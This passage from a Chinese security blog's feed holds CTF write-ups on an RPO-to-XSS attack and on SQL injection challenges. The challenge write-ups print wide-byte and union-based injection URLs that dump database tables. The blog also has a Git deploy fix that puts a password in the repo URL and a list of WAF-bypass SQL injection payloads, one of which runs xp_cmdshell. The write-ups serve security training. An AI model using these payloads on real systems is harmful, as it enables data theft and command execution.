src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-2.png" alt="rpo-2"></p><p>在查看文章发现系统是phpinfo的url解析框架：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-3.png" alt="rpo-3"></p><p>于是决定采用RPO攻击，基本思路是通过写文章写入不含script标签的xss语句，然后通过RPO攻击将文章内容当成js来执行。经过尝试，当标题有内容时，会引入”&lt; h &gt;”标签，这会影响js解析，所以标题设为空，只在内容出写入xss语句：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-4.png" alt="rpo-4"></p><p>然后构造url:</p><pre><code>http://39.107.33.96:20000/index.php/view/article/2525/..%2f..%2f..%2f</code></pre><p>这里解释一下，当url在服务器端执行时，会被解析为<code>index.php/view/article/2525/../../../</code>，也就是等价于<code>index.php</code>，所以返回了index.php的资源。但是在客户端进行显示时，客户端发现要执行js代码，于是向服务器端发出了资源申请，申请的url为:</p><pre><code>http://39.107.33.96:20000/index.php/view/article/2525/..%2f..%2f..%2f/static/js/jquery.min.js</code></pre><p>但是这里出现了一个问题，由于css/js解析器的会无视非法部分，于是..%2f..%2f..%2f/这段就被忽略了，于是url变成了：</p><pre><code>http://39.107.33.96:20000/index.php/view/article/2525/static/js/jquery.min.js</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-6.png" alt="rpo-6"></p><p>然后该url传给服务器，很显然，在服务器端并不存在这么一个js文件，但并没有关系，由于服务器采用的phpinfo的url解析模式，于是这条url便被解析成了</p><pre><code>http://39.107.33.96:20000/index.php?mode=view&amp;article=2525&amp;static=js&amp;jquery.min.js=</code></pre><p>于是服务器返回了<code>index.php/view/article/2525/</code>的内容，也就是alert（1）。这时客户端拿到资源后，将这段代码当成了js语句来执行，成功进行了RPO攻击：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-5.png" alt="rpo-5"></p><p>找到了xss点，剩下的就简单了，提交我们精心构造的url和xss页面去调取管理员cookie，由于本章主要讲解RPO攻击，剩下的就不写了，有兴趣的小伙伴可以去继续做下去：<a href="http://39.107.33.96:20000/index.php" target="_blank" rel="external">题目点我</a>。</p><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><p>小白兔的团队又加入了三位小伙伴，欢迎他们的加入(～￣▽￣)～ (～￣▽￣)～ (～￣▽￣)～ ，希望今后一起成长，一起努力，干巴爹o(￣▽￣)ｄ 。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;上周参加了CTF比赛，虽然结果一般般，但还是学到了不少东西，比如RPO攻击。RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击，依赖于浏览器和网络服务器的反应与服务器的 Web 缓存技术和配置差异，利用前端代码中加载的css/js的相对路径来加载其他文件，最终浏览器将服务器返回的不是css/js的文件当做css/js来解析，从而导致XSS，信息泄露等漏洞产生。这种攻击在网络上资料较少，如果不是参加比赛还真不会去了解这种攻击技术，所以这里分享给大家。&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://yoursite.com/tags/ctf/"/>
    
      <category term="xss" scheme="http://yoursite.com/tags/xss/"/>
    
      <category term="RPO" scheme="http://yoursite.com/tags/RPO/"/>
    
  </entry>
  
  <entry>
    <title>南京邮电大学网络攻防训练平台sql注入题目专栏</title>
    <link href="http://yoursite.com/2018/03/19/ctf-sql/"/>
    <id>http://yoursite.com/2018/03/19/ctf-sql/</id>
    <published>2018-03-19T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:40.792Z</updated>
    
    <content type="html"><![CDATA[<p>为了参加不久后的国内CTF比赛，小白兔进行了各种备战，进行了许多CTF题目的练习。后来在南邮的训练平台上做题，感觉收获颇多，尤其是在sql注入题目上。因此特地在这里记录下来，留给后来人借鉴。</p><a id="more"></a><h1 id="题目一：MYSQL"><a href="#题目一：MYSQL" class="headerlink" title="题目一：MYSQL"></a>题目一：MYSQL</h1><p> 题目地址：<a href="http://chinalover.sinaapp.com/web11/" target="_blank" rel="external">MYSQL</a></p><p>刚进题目页面就是一句提示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-1.png" alt="ctf-sql-1"></p><p>于是按照提示进入/web11/robots.txt看看有什么名堂：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-2.png" alt="ctf-sql-2"></p><p>可以捕获几个信息：<br>1.可注入的文件是sql.php<br>2.注入的参数是id<br>3.基本没有防注入设置</p><p>因此这个题目不难，大概的意思是你要从id=1024的数据库记录中提出flag数据，但是程序会在id不等于1024时打印你查询出来的东西（没错这是矛盾的）。解题的关键在intval（）这个函数，这个函数的作用是把参数自动转换成整数（int）。那就很简单了，我们使id=1024.5，这样经过函数转换后$id变成1024，查到flag，然后由于id不等于1024，再打印出flag。构造语句：</p><pre><code>http://chinalover.sinaapp.com/web11/sql.php?id=1024.5</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-3.png" alt="ctf-sql-3"></p><h1 id="题目二：sql-injection-3"><a href="#题目二：sql-injection-3" class="headerlink" title="题目二：sql injection 3"></a>题目二：sql injection 3</h1><p> 题目地址：<a href="http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" target="_blank" rel="external">sql injection 3</a></p><p>这是个很好的题目！进入题目界面：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-4.png" alt="ctf-sql-4"></p><p>sql查询的语句直接展示给你了，把id改成2查看一下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-5.png" alt="ctf-sql-5"></p><p>当id=3的时候，查询出的也是个无关痛痒的东西，当id大于3后，就不显示了，说明数据库里只有3条记录，尝试加个单引号（’）注入试试：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-6.png" alt="ctf-sql-6"></p><p>我先试了一下url编码，发现无法绕过，然后突然想起当id=2时的信息：gbk_sql_injection，猜测这里存在宽字节注入漏洞，这个漏洞很有趣，可以利用编码漏洞吃掉一个反斜杠（\）: <a href="https://www.2cto.com/article/201301/182881.html" target="_blank" rel="external">宽字节漏洞详解</a>。构造语句尝试宽字节注入：</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df&apos; and 1=1#</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-7.png" alt="ctf-sql-7"></p><p>发现已经注入成功了，反斜杠被吃掉了，但是有个问题，使用#注释掉尾部的单引号时时似乎被过滤了，于是用编码绕过一下，发现成功了：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-8.png" alt="ctf-sql-8"></p><p>OK，注入点确定后开始构造语句进行注入：</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df&apos; union select 1,2%23</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-9.png" alt="ctf-sql-9"></p><p>知道回显位置后可以用手工注入慢慢注，不过我比较懒，直接使用土耳其暴库法直接爆出数据库：</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df&apos; union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D)+from+information_schema.columns%23</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-10.png" alt="ctf-sql-10"></p><p>有了数据库名，转为16进制以后继续暴处表名，构造语句:</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df&apos; union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D)+from+information_schema.columns+where+table_schema=0x7361652d6368696e616c6f766572%23</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-11.png" alt="ctf-sql-11"></p><p>爆出表名后，就一个个去试了，我一个个去试过了，前3个表都没什么信息，不过表ctf4就有东西，构造语句：</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df&apos; union select 1,concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D)+from+information_schema.columns+where+table_name=0x63746634%23</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-12.png" alt="ctf-sql-12"></p><p>最后一步了，直接构造查询语句得到我们想要的flag：</p><pre><code>http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df&apos; union select 1,flag from ctf4 limit 1%23</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-13.png" alt="ctf-sql-13"></p><p>总的来说，这个题目不仅考察了手工注入的能力，还涉及到了字符编码绕过和宽字节注入漏洞，真的是个很不错的题目。</p><h1 id="题目三：SQL注入1"><a href="#题目三：SQL注入1" class="headerlink" title="题目三：SQL注入1"></a>题目三：SQL注入1</h1><p>题目地址：<a href="http://chinalover.sinaapp.com/index.php" target="_blank" rel="external">SQL注入1</a></p><p>进入题目界面，发现是一个登陆框，而且大方地把源码地址给你：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-14.png" alt="ctf-sql-14"></p><p>查看源码进行分析，发现对参数进行处理的只有trim（）函数，该函数的作用是除去字符串前后的空格（也就是毫无卵用）：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-15.png" alt="ctf-sql-15"></p><p>那这个题目就毫无难度了，根据语句构造万能密码绕过:</p><pre><code>user=admin&quot;&apos;) or 1=1 #--&amp;pass=1</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-16.png" alt="ctf-sql-16"></p><h1 id="题目四：sql-injection-4"><a href="#题目四：sql-injection-4" class="headerlink" title="题目四：sql injection 4"></a>题目四：sql injection 4</h1><p>提米地址：<a href="http://chinalover.sinaapp.com/web15/index.php" target="_blank" rel="external">sql injection 4</a></p><p>进入页面发现啥也米有，于是点开页面源码发现了隐藏的信息：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-17.png" alt="ctf-sql-17"></p><p>这个题目坑的是，我一开始以为过滤函数有俩：htmlentities()和stripslashes(),前面那个函数的作用很复杂，具体的看：<a href="http://www.w3school.com.cn/php/func_string_htmlentities.asp" target="_blank" rel="external">htmlentities函数详解</a>，在这里是过滤单引号(‘)和双引号的(“)，后面的那个函数是删除反斜杠的（\）的。然后我想了半天，这三个全给过滤了咋搞啊，最后我才发现stripslashes()这个函数在if里面，根本不执行！坑死兔子了，吐着血构造语句：</p><pre><code>http://chinalover.sinaapp.com/web15/index.php?username=\&amp;password=or 1=1%23</code></pre><p>这样构造是因为原来的sq查询语句就变成了：</p><pre><code>SELECT * FROM users WHERE name=&apos;\&apos; AND pass=&apos;or 1=1#&apos;;</code></pre><p>由于\把’转义了，所以name等于(‘ AND pass=)，然后pass可以直接注入语句，结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-18.png" alt="ctf-sql-18"></p><h1 id="题目五：SQL注入2"><a href="#题目五：SQL注入2" class="headerlink" title="题目五：SQL注入2"></a>题目五：SQL注入2</h1><p>题目地址：<a href="http://4.chinalover.sinaapp.com/web6/index.php" target="_blank" rel="external">SQL注入2</a></p><p>进入SQL注入2的界面发现跟SQL注入1的界面一毛一样，看来作者是真的懒得做页面，那肯定查看源码也能得到情报了：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-20.png" alt="ctf-sql-20"></p><p>既然题目提示用union，我思考了一下确实用union最简单，算是考察对union的理解了，这个关键字等于是将上表与下表连接起来，如果上表为空，那么结果直接为下表。以此为思路看这个题目，没有任何过滤，那么我们可以使上表查询为空，下表构造成一个我们已知的值，那么查询的结果就是我们构造的值：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-21.png" alt="ctf-sql-21"></p><p>发现失败了，检查了一下发现对参数pass进行md5转码了，重新构造语句：</p><pre><code>user=kk&apos; union select md5(1)#&amp;pass=1</code></pre><p><img src="http://picture.whiterabbitxyj.com/blogPicture/ctf-sql/ctf-sql-19.png" alt="ctf-sql-19"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>南邮的题目还是很适合入门的，一套做下来还是收获颇多，希望这周的比赛能拿个好成绩，等比赛结束后会将南邮的两个综合题做个详细的解题过程给大家。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;为了参加不久后的国内CTF比赛，小白兔进行了各种备战，进行了许多CTF题目的练习。后来在南邮的训练平台上做题，感觉收获颇多，尤其是在sql注入题目上。因此特地在这里记录下来，留给后来人借鉴。&lt;/p&gt;
    
    </summary>
    
    
      <category term="sql注入" scheme="http://yoursite.com/tags/sql%E6%B3%A8%E5%85%A5/"/>
    
      <category term="ctf" scheme="http://yoursite.com/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>Git错误“fatal：could not read Username for &#39;https://github.com&#39;：No error”解决方案</title>
    <link href="http://yoursite.com/2018/02/27/giterror/"/>
    <id>http://yoursite.com/2018/02/27/giterror/</id>
    <published>2018-02-27T03:40:32.000Z</published>
    <updated>2018-12-13T12:40:34.247Z</updated>
    
    <content type="html"><![CDATA[<p>年后回来，小白兔觉得不能再慵懒下去，打算立刻发了一篇博文以正视听，好不容易写完一篇<a href="http://blog.whiterabbitxyj.com/2018/02/27/WAFbypass/" target="_blank" rel="external">绕过WAF的九种方法</a>，按照往常的方法更新博客，结果报错：“fatal: could not read Username for ‘<a href="https://github.com" target="_blank" rel="external">https://github.com</a>‘: No error”。</p><a id="more"></a><h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><p> 真的是大写的懵逼，啥也没动啊，咋过个年回来就出问题了呢，问题截图如下：</p><p> <img src="http://picture.whiterabbitxyj.com/blogPicture/blog/boke.png" alt="boke1"></p><p> 于是我折腾了很久终于找到了解决问题的方法。</p><h1 id="解决方法"><a href="#解决方法" class="headerlink" title="解决方法"></a>解决方法</h1><p>解决问题方法如下，亲测有效。<br>1.打开_config.yml，修改其中的deploy节点<br>原来的配置为：</p><pre><code>deploy:      type: git      repo: https://github.com/{yourname}/{yourname}.github.io.git      branch: master</code></pre><p>修改为如下：</p><pre><code>deploy:       type: git      repo: https://{yourname}:{yourpassword}@github.com/{yourname}/{yourname}.github.io.git   branch: master</code></pre><p>2.更新博客（素质三连）</p><pre><code>hexo cleanhexo ghexo d</code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;年后回来，小白兔觉得不能再慵懒下去，打算立刻发了一篇博文以正视听，好不容易写完一篇&lt;a href=&quot;http://blog.whiterabbitxyj.com/2018/02/27/WAFbypass/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;绕过WAF的九种方法&lt;/a&gt;，按照往常的方法更新博客，结果报错：“fatal: could not read Username for ‘&lt;a href=&quot;https://github.com&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://github.com&lt;/a&gt;‘: No error”。&lt;/p&gt;
    
    </summary>
    
    
      <category term="博客" scheme="http://yoursite.com/tags/%E5%8D%9A%E5%AE%A2/"/>
    
  </entry>
  
  <entry>
    <title>绕过WAF的9种方法</title>
    <link href="http://yoursite.com/2018/02/27/WAFbypass/"/>
    <id>http://yoursite.com/2018/02/27/WAFbypass/</id>
    <published>2018-02-27T03:39:32.000Z</published>
    <updated>2018-02-27T06:52:59.737Z</updated>
    
    <content type="html"><![CDATA[<p>web应用程序防火墙(或WAF)是一种过滤器、监视器，并从web应用程序阻塞HTTP流量。WAF与常规防火墙的区别在于，WAF能够过滤特定web应用程序的内容，而常规防火墙充当服务器之间的安全通道。通过检查HTTP流量，它可以防止来自web应用程序安全缺陷的攻击，例如SQL注入、跨站点脚本(XSS)、文件包含和安全性错误配置。</p><a id="more"></a><h1 id="WAF种类"><a href="#WAF种类" class="headerlink" title="WAF种类"></a>WAF种类</h1><ul><li>异常检测协议（Exception Detection Protocol）：拒绝不符合HTTP标准的请求</li><li>增强输入验证（Enhanced input validation）：加入代理和服务器端验证，而不仅仅是用户端验证</li><li>黑名单（Blacklist）/白名单（WhiteList）</li><li>基于规则和异常的保护机制（Rule-based and exception-based protection）：更多通过规则结合基于黑名单的机制，基于异常的更加灵活</li><li>国家管理（State management）：关注session保护，也包括Cookies技术保护，反入侵技术保护，响应监控和信息披露保护</li></ul><h1 id="WAF绕过方法"><a href="#WAF绕过方法" class="headerlink" title="WAF绕过方法"></a>WAF绕过方法</h1><h2 id="1-大小写混淆-Mixed-Case"><a href="#1-大小写混淆-Mixed-Case" class="headerlink" title="1.大小写混淆(Mixed Case)"></a>1.大小写混淆(Mixed Case)</h2><p>将会触发WAF保护的恶意输入词修改进行大小写混淆，比如union可以变成uNIoN，如果WAF是基于黑名单的恶意词过滤，那这么做就可以绕过过滤。</p><pre><code>http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4</code></pre><h2 id="2-替代关键字-Replace-the-keyword"><a href="#2-替代关键字-Replace-the-keyword" class="headerlink" title="2.替代关键字(Replace the keyword)"></a>2.替代关键字(Replace the keyword)</h2><p>在目标关键词中插入将被WAF删除的特殊字符，比如SELECT可以变成SELselectECT，一旦会被删除的字符被删除，正常字符就会被传递，这样就能绕过过滤。</p><pre><code>http://target.com/index.php?page_id=-15&amp;nbsp;UNIunionON SELselectECT 1,2,3,4</code></pre><h2 id="3-编码-Encode"><a href="#3-编码-Encode" class="headerlink" title="3.编码(Encode)"></a>3.编码(Encode)</h2><p>+URL编码：<code>page.php?id=1%252f%252a*/UNION%252f%252a /SELECT</code><br>+Hex编码：<code>target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4</code><br>+Unicode编码：<code>?id=10%D6‘%20AND%201=2%23</code></p><h2 id="4-使用注释-Use-comments"><a href="#4-使用注释-Use-comments" class="headerlink" title="4.使用注释(Use comments)"></a>4.使用注释(Use comments)</h2><p>在攻击字符串中插入注释。比如，/<em>!SELECT</em>/可能会被WAF忽略，但是会被传递到目标应用程序并由mysql数据库处理。</p><pre><code>index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4</code></pre><h2 id="5-等效函数和命令-Equivalent-functions-and-commands"><a href="#5-等效函数和命令-Equivalent-functions-and-commands" class="headerlink" title="5.等效函数和命令(Equivalent functions and commands)"></a>5.等效函数和命令(Equivalent functions and commands)</h2><p>一些函数或命令不能被使用，因为这些关键字被检测到，但在许多情况下，我们可以使用相同或类似的代码。</p><pre><code>hex()、bin() ==&gt; ascii()sleep() ==&gt;benchmark()concat_ws()==&gt;group_concat() substr((select &apos;password&apos;),1,1) = 0x70　　　strcmp(left(&apos;password&apos;,1), 0x69) = 1　　  strcmp(left(&apos;password&apos;,1), 0x70) = 0　　　strcmp(left(&apos;password&apos;,1), 0x71) = -1mid()、substr() ==&gt; substring()@@user ==&gt; user()@@datadir ==&gt; datadir()</code></pre><h2 id="6-特殊符号-Special-symbols"><a href="#6-特殊符号-Special-symbols" class="headerlink" title="6.特殊符号(Special symbols)"></a>6.特殊符号(Special symbols)</h2><p>这里我有一些特殊符号的非字母数字字符种类，特殊符号往往具有特殊的意义和用法。</p><pre><code>· &apos;  符号: select &apos;version()&apos;;· +- 符号: select+id-1+1.from users;· @  符号: select@^1.from users;· mysql函数xxx· `、~、!、@、%、()、[]、.、-、+ 、|、%00</code></pre><p>例子：</p><pre><code>&apos;se&apos;+&apos;lec&apos;+&apos;t&apos;%S%E%L%E%C%T 11.aspx?id=1;EXEC(&apos;ma&apos;+&apos;ster..x&apos;+&apos;p_cm&apos;+&apos;dsh&apos;+&apos;ell &quot;net user&quot;&apos;)&apos;or --+2=- -!!!&apos;2id=1+(UnI)(oN)+(SeL)(EcT)</code></pre><h2 id="7-HTPP参数控制-HTTP-parameter-control"><a href="#7-HTPP参数控制-HTTP-parameter-control" class="headerlink" title="7.HTPP参数控制(HTTP parameter control)"></a>7.HTPP参数控制(HTTP parameter control)</h2><p>提供多个相同名称的参数，以混淆WAF。比如<code>http://example.com?id=1&amp;?id = 1&#39; or &#39;1&#39; = &#39;1&#39; --</code>在某些情况下,例如Apache / PHP应用程序只会解析的最后的id =…，而WAF只会解析第一个。它不是一个合法的请求，但应用程序仍然接收和处理恶意输入。大多数WAF的今天都不容易受到HTTP参数污染(HPP)的影响，但是在构建绕过语句时仍然值得一试。</p><pre><code>/?id=1;select+1,2,3+from+users+where+id=1—/?id=1;select+1&amp;amp;id=2,3+from+users+where+id=1—/?id=1/**/union/*&amp;amp;id=*/select/*&amp;amp;id=*/pwd/*&amp;amp;id=*/from/*&amp;amp;id=*/users</code></pre><h2 id="8-缓冲区溢出-Buffer-overflow"><a href="#8-缓冲区溢出-Buffer-overflow" class="headerlink" title="8.缓冲区溢出(Buffer overflow)"></a>8.缓冲区溢出(Buffer overflow)</h2><p>WAF的应用程序和其他应用程序一样容易受到软件缺陷的影响。如果缓冲区溢出条件可能导致崩溃，即使它不会导致代码执行，这可能导致WAF失败。换句话说，也是一种绕过。</p><pre><code>?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26</code></pre><h2 id="9-集成（Integration）"><a href="#9-集成（Integration）" class="headerlink" title="9.集成（Integration）"></a>9.集成（Integration）</h2><p>集成意味着使用多种绕过技术，一种技术可能无法绕过过滤机制，但是使用多种技术的可能性会增加很多。</p><pre><code>target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 &quot;A&quot;)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--</code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;web应用程序防火墙(或WAF)是一种过滤器、监视器，并从web应用程序阻塞HTTP流量。WAF与常规防火墙的区别在于，WAF能够过滤特定web应用程序的内容，而常规防火墙充当服务器之间的安全通道。通过检查HTTP流量，它可以防止来自web应用程序安全缺陷的攻击，例如SQL注入、跨站点脚本(XSS)、文件包含和安全性错误配置。&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="http://yoursite.com/tags/%E6%B8%97%E9%80%8F/"/>
    
      <category term="WAF" scheme="http://yoursite.com/tags/WAF/"/>
    
  </entry>
  
</feed>
